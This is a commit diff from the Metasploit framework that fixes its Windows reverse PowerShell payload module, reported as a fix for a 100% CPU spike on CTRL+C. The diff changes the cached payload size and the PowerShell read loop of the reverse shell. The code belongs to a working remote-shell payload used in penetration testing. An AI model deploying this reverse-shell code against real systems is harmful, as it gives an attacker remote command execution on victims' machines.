Land rapid7#7522, Fix psh template to avoid 100% cpu spike on CTRL+C

Author: bwatters-r7

modules/payloads/singles/cmd/windows/reverse_powershell.rb

@@ -11,7 +11,7 @@
 
 module MetasploitModule
 
-  CachedSize = 1204
+  CachedSize = 1228
 
   include Msf::Payload::Single
   include Msf::Sessions::CommandShellOptions
@@ -81,7 +81,8 @@ def command_string
           "while (($i -gt 0) -and ($pos -lt $nb.Length)) {"\
             "$r=$s.Read($nb,$pos,$nb.Length - $pos);"\
             "$pos+=$r;"\
-            "if ($pos -and ($nb[0..$($pos-1)] -contains 10)) {break}};"\
+            "if (-not $pos -or $pos -eq 0) {RSC};"\
+            "if ($nb[0..$($pos-1)] -contains 10) {break}};"\
             "if ($pos -gt 0){"\
               "$str=$e.GetString($nb,0,$pos);"\
               "$is.write($str);start-sleep 1;"\